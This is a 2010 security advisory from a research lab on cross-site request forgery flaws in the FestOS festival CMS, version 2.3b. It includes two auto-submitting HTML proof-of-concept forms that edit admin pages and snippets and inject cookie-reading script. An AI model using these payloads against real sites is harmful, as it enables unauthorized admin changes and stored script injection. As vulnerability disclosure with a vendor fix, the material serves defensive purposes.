Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Cross-site Request Forgery (CSRF) Vulnerabilities in FestOS

Advisory ID:HTB22472
Product:FestOS
Vendor:Skypanther Studios, Inc
Vulnerable Versions:2.3b and probably prior
Tested Version:2.3b
Advisory Publication:July 1, 2010 [without technical details]
Vendor Notification:July 1, 2010
Public Disclosure:July 15, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in FestOS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in FestOS
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/do_pages_edit.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit pages. Due to insufficient sanitation of input data in the "title" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation example:
<form action="http://host/admin/do_pages_edit.php" method="post" name="main" >
<input type="hidden" name="pageID" value="2" />
<input type="hidden" name="title" value='title"><script>alert(document.cookie)</script>' />
<input type="hidden" name="alias" value="home" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="contents" value='page content here...' />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in admin/do_snippets_edit.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify snippets. Due to insufficient sanitation of input data in the "contents" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/do_snippets_edit.php?tabname=Pages" method="post" name="main" >
<input type="hidden" name="snippetID" value="1" />
<input type="hidden" name="title" value="Site footer" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="contents" value='footer"><script>alert(document.cookie)</script>' />
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to version 2.3c.


References:
[1] High-Tech Bridge Advisory HTB22472 - https://www.immuniweb.com/advisory/HTB22472 - Cross-site Request Forgery (CSRF) Vulnerabilities in FestOS
[2] FestOS - festengine.org - FestOS, the open source festival engine, is the modern and complete web solution to managing your arts and crafts festival.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential